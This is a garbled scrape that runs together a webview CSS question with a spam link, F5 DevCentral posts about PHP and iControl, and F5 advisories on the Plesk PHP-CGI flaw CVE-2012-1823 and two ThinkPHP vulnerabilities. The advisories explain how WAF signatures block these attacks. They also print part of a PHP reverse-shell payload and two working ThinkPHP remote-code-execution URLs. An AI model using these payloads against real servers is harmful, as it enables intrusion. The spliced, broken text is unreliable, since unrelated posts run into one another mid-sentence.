How to target only webview rendering with CSS?
This particular page displays correctly on desktop and mobile Firefox browsers, Mac and iOS browsers, Edge, Chrome, and Chromium. But when it's seen through web view—that is, from a link on the Android Facebook app or even the actual Android app, Duck Duck Go—one of the font sizes is bigger and extends beyond its container div, obstructing the view. Visit Here for more information on solving problems:Prodigit After ten years of front-end development, I haven't yet looked at web view customizations. How can I use CSS (or JavaScript if necessary) to target web view rendering?Auto updates GeoIP database on Big IP.
Problem this snippet solves: Securely, auto updates multiple Big IP's, geoip database. Tested on Version 12.1.2, but should work for others. How to use this snippet: Must have PHP installed (tested on 7.0, 5.6 should work too) Install (on Ubuntu Server 12.04-16.04) sudo LC_ALL=C.UTF-8 add-apt-repository -y ppa:ondrej/php sudo apt-get -y install php7.0 php7.0-common php7.0-cli php7.0-curl php7.0-mcrypt php-ssh2 php-zip Then just issue on the CLI: php geoip_updater.php <downloads.f5.com https geoip file url - on location page> <optional, md5 file url> Modify script to enter your servers ip, hostnames, and Auth settings. Testing updating 8 BigIP's, in under 5 minutes. Due to limitations in how the file is offered on downloads.f5.com, you have to get the filename before running the script. Code : http://bit.ly/2uqeAI5 Tested this on version: 12.1
In APM Customization, server's HTTP_HOST variable not set correctly? Any other way to get this?
I'm attempting to do some APM customization, and I'm trying to write some simple PHP that will substitute text on the page based on the Host header in the HTTP request (we are using this same policy on multiple virtual servers for multiple sites, and everything is identical except for some tiny verbiage changes on the logon page... I know I could probably break this into multiple policies, but I'd rather just have one so I don't have to manage multiple). Anyway, in trying to determine which site has been requested, I want to make a decision based on the Host header. I attempt to read it like this: It turns out that the value of $_SERVER['HTTP_HOST'] is "f5-server". I would understand that if I had asked for 'SERVER_NAME' rather than 'HTTP_HOST', but that's definitely not right for HTTP_HOST and is not what the user had in their host header. Does anyone have any idea about other ways to get the host header in PHP, or ways to get the Big-IP to correctly return it?
iControl - PHP - Errors, only on Linux.
Hi All, I'm pulling some hair out here trying to use PHP's built-in soapclient against F5 iControl, but it only appears to be when the script is run on it's destined Linux system. Works fine on my dev box which is Windows 7 SP1 (using XAMPP). The error I get is: SOAP-ERROR: Parsing WSDL: Couldn't load from 'https:///iControl/iControlPortal.cgi?WSDL=System.SystemInfo' : failed to load external entity "https:///iControl/iControlPortal.cgi?WSDL=System.SystemInfo" My Script looks like the following, which seems to be standard: $username = ""; $password = ""; $host = ""; $location = "https://$host/iControl/iControlPortal.cgi"; $client = new SoapClient(sprintf("%s?WSDL=%s", $location, "System.SystemInfo"),array('location'=>$location,'login'=>$username,'password'=>$password)); $systemInformation = $client->get_system_information(); $productInformation = $client->get_product_information(); I have suspected originally it was something to do with SSL verifying peers, allowing self certified certs and so forth, but no amount of stream_contexts makes a difference. Distributions I've tried running this on Arch, Centos and Ubuntu. I appreciate this may not be specifically an F5 iControl issue, but I would expect I'm not the only one to run into this issue... Surely? I can't use iControlREST at this time (I'd love to!) as I still have some pre-11.5.0 BIG-IPs on my estate Any advice would be greatly received! Thanks, JD.PHP and session variable substitution
I want to evaluate the content of a session variable during logon page processing. session.server.landinguri=/?pw=0 This doesn't work $landingUri = '%{session.server.landinguri}'; $pos = strpos($landingUri, 'pw'); if ($pos !== false) { ?> true This works! $landingUri = '/?pw=0'; $pos = strpos($landingUri, 'pw'); if ($pos !== false) { ?> true Does anyone know how APM and PHP interact that would cause this problem? I assume that there is an issue with how special characters from the session variable are substituted during runtime. I have tried using double quotes with no luck.
Plesk Vulnerability
Recently we’ve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application. In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel. This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands. Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMB’s. This “out in the wild” code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module. Code injection is possible thanks to query data being passed unescaped directly to shell. This allows passing options to the CGI binary such as –r (execute code) and –d (define ini). In addition, command line pipe-lining is also possible because the entire argument is declared unquoted: #!/bin/sh exec /dh/cgi-system/php5.cgi $* By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query. This part of the exploit sets the PHP-CGI flags: As we can see, the –d flag is used to declare some config line directives, and the –n flag to bypass the local php.ini. Then the payload is being sent, which is a PHP page that sets up a shell with a socket:. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ... Issuing the exploit against an updated ASM version triggered the following signatures: 200004025 - PHP injection attempt ( <? ) 200004038 - PHP injection attempt ( posix_setsid ) 200100310 - "/bin" execution attempt (Parameter) 200100310 - Shell command (sh/ksh/etc) access (Value) 200100330 - PHP-CGI Shell Code Injection (v2) 200002437 - SQL-INJ "if(Expression,value,value)" (Parameter) The PHP and CGI signatures are quite expected, as well as the other command execution ones. As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection. However, since the format of this signature resembles execution code as well as an SQL query – it is understandable why the PHP code located in the payload has triggered this signature.ThinkPHP 6.0.0 - 6.0.1 Arbitrary File Write Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than 40,000 active deployments. On the 15 th of January a new vulnerability in ThinkPHP was disclosed after being patched by the vendor. The vulnerability allows the attacker to write or overwrite arbitrary files in the system. The root cause of the vulnerability is session management functionality using the user-controlled value of the session cookie as the name of a file saved in the file system. By using directory traversal, an attacker can save the file anywhere in the system. If the content of the file, which depends on a specific application logic, is also controllable, the attacker could write a web shell to the system and access it. It is important to note, that the session initiation is not enabled by default and requires a manual change in configuration. The vulnerability affects ThinkPHP versions 6.0.0 - 6.0.1. Technical details The attacker sends a custom PHPSESSID to the server: Figure 1:A request with user-controlled session cookie The server handles the request and uses the PHPSESSID cookie value to set the user's session: Figure 2:Setting the session ID with a user-controlled value The application verifies that the PHPSESSID value is a 32-byte string, if the condition is met than the session value is accepted and set: Figure 3:Verifying the value is a 32-byte string After establishing the session ID value, while constructing the response, the application saves the session information to a file with the session ID value as its name: Figure 4, 5:Writing a file to the system with the value of the session cookie Figure 6:The file created on the file system The vendor patched ThinkPHP and added an additional check for the PHPSESSID value allowing only alphanumeric characters, preventing the possibility of directory traversal: Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. While exploiting this vulnerability attacker will try to send payloads containing directory traversal. The exploitation attempt will be detected by existing attack signatures. Figure 8: Exploit blocked with Attack Signature (200000190) Figure 9: Exploit blocked with Attack Signature (200101550) In addition, if the attacker will try to inject PHP code to stored in the session file for further exploitation, it will be detected by signatures which can be found in signature sets that include "Command Execution" and "Server Side Code Injection" attack types or "PHP" system.Getting Started with iControl and PHP
Problem this snippet solves: After a few years of trial and error, I've managed to learned the ins and outs of using the iControl API with PHP. It certainly wasn't an easy process, as the information available was few and far between. So.... Here it is!! iControl and PHP For this first example, we will build a PHP script that will query an LTM for all of the pools and members along with their availability status and connection counts. The first step in the script is to create a few variables for storing the username, password, and LTM IP address. We will also define the necessary WSDL objects for interacting with iControl. Code : "; echo ""; $sn = $_SERVER['SCRIPT_NAME']; echo " ";?>
ThinkPHP 5.x Remote Code Execution Vulnerability
ThinkPHP is an open source PHP development framework for agile web application development. The framework is vastly adopted worldwide, a quick Shodan search shows more than40,000 active deployments. Recently, an unauthenticated remote code execution vulnerability was discovered in ThinkPHP, which was quickly adopted by large amount of threat actors who started scanning for vulnerable instances. The root cause of the vulnerability is the way that ThinkPHP parses the requested controller and executes the requested function. The patch committed to the Github repository by the maintainers showed that a regular expression validating the supplied controller name was added. Figure 1: Vulnerability patched by adding a Regular expression that validates the supplied controller name The reason for this addition is because ThinkPHP receives the requested module, controller and function to execute within a query parameter and splits it by using the ‘/’ character as a delimiter. Figure 2: ThinkPHP splits the received string in order to get the module and controller names Once ThinkPHP parsed the controller name and function, it first creates an instance of the supplied controller name by using reflection and then executes the requested function. Figure 3: ThinkPHP creates an instance of the requested controller and executes the requested function The two publicly disclosed vectors leading to arbitrary command execution are attempting to load a valid class of ThinkPHP. The two payloads are: http://thinkphp/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l http://thinkphp/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system The first attack vector will attempt to execute the “invokeFunction” method of the ThinkPHP App class, which allows specifying an arbitrary function to execute and passes the required arguments for this function. Figure 4: invokeFunction method of ThinkPHP App class The second attack vector attempts to execute the cache function of ThinkPHP Request class which attempts to split between a function name and parameter by using the ‘|’ character as delimiter. And, it later attempts to execute the function with its parameters. Figure 5: cache method of ThinkPHP Request class Mitigating the vulnerability with BIG-IP ASM BIG-IP ASM customers under any supported BIG-IP version are already protected against this vulnerability. The exploitation attempt will be detected by a dedicated attack signature recently released to mitigate the mentioned exploitation attempts which can be found in signature sets that include the “Server Side Code Injection” attack type or the “PHP” system. Figure 6: Exploitation attempt blocked by signature id 200004481 Advanced WAF customers with Threat Intelligence subscription are protected with the following Threat Campaigns: - ThinkPHP Remote Code Execution - HelloThinkPHP - ThinkPHP Remote Code Execution - curl zz
Payload content to apply a rule
What is the payload content to apply a rule from the REST interface? I am currently using PHP to interface with the REST API and I can connect and list all the rules, but now I need to apply one of the rules and later on I need to remove it, but not delete it. Connecting to REST interface: https://devcentral.f5.com/codeshare/using-php-to-connect-to-icontrol-rest-interface-1172 Thank you, Emil
